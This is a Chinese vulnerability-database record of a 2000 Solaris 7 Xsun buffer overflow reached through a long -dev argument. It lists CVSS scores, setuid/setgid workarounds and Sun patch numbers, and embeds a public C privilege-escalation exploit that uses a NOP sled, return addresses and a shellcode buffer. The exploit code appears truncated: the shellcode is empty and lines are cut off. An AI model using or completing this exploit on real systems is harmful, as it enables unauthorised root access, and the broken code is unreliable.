发布时间 :2000-04-24 00:00:00
修订时间 :2008-09-10 15:04:10

[原文]Buffer overflow in Xsun X server in Solaris 7 allows local users to gain root privileges via a long -dev parameter.

[CNNVD]Solaris Xsun缓冲区溢出漏洞(CNNVD-200004-064)

        Solaris 7的Xsun X server存在缓冲区溢出漏洞,本地用户可以通过超长-dev参数获取根用户权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  1140
(UNKNOWN)  BUGTRAQ  20000424 Solaris x86 Xsun overflow.

- 漏洞信息

Solaris Xsun缓冲区溢出漏洞
高危 缓冲区溢出
2000-04-24 00:00:00 2005-05-02 00:00:00
        Solaris 7的Xsun X server存在缓冲区溢出漏洞,本地用户可以通过超长-dev参数获取根用户权限。

- 公告与补丁

        Patches have been made available on SunSolve for Solaris 8, sparc and x86. They are currently only for contract customers. Presumably, Solaris 7 patches are forthcoming, and will also be available at SunSolve. Due to the nature of this vulnerability, these patches should be made public shortly. Patches for this, and other vulnerabilities in Sun products are available at
        Removal of the setgid bit on the binary does not seem to have any noticeable negative effects, and will eliminate this vulnerability, on the Sparc platform. It will disable the ability of the Xserver to manage display power and adjust the priority of processes in the "IA" class (allowing the window in the foreground to have an elevated priority). Running under xdm, with the setgid bit removed, will re-enable this feature.
        x86 users may find that they need Xsun to run as root in order to access the video device. In this case, a suitable solution is to remove the setuid bit, and launch X only via the dtlogin program, or xdm. dtconfig -e will enable this.
        Sun Solaris 8_x86

  •         Sun 108653-08


        Sun Solaris 8

  •         Sun 108652-08


        Sun Solaris 7.0 _x86

  •         Sun 108377-07


        Sun Solaris 7.0

  •         Sun 108376-08


- 漏洞信息 (19876)

Solaris 7.0/8 Xsun Buffer Overrun Vulnerability (EDBID:19876)
solaris local
2000-04-24 Verified
0 DiGiT
N/A [点击下载]

A buffer overrun vulnerability exists in the Xsun X11 server, as shipped as part of Solaris 7 and 8 from Sun Microsystems. By supplying a long argument to the -dev option (normally used to set the output device), it is possible to execute arbitrary code with setgid root permissions. This can be further leveraged to gain root privileges, resulting in machine compromise.

* Solaris 7  Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
* Discovered/sploited By DiGiT -
* Greets: #!ADM, #!

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;

  if (argc > 1) nopcount  = atoi(argv[1]);
  if (argc > 2) bsize  = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);
        memset (buff, 0x90, bsize); 

                for (i = nopcount; i < bsize - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
            memcpy (buff, ":", 1);
         printf("Oh boy. DiGiT presents r00t\n");

         execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);


- 漏洞信息

Solaris Xsun -dev Flag Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Third-party Verified

- 漏洞描述

A local overflow exists in Sun Solaris XSun. The X11 server fails to validate input to the -dev flag resulting in a buffer overflow. With a specially crafted request consisting of a overly long argument, an attacker can execute arbitrary code with setgid root privileges resulting in a loss of integrity.

- 时间线

2000-04-24 Unknow
2000-04-24 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun has released the following patches to address this vulnerability: 108377-07 108376-08 These patches are available by using PatchFinder at the SunSolve website.

- 相关参考

- 漏洞作者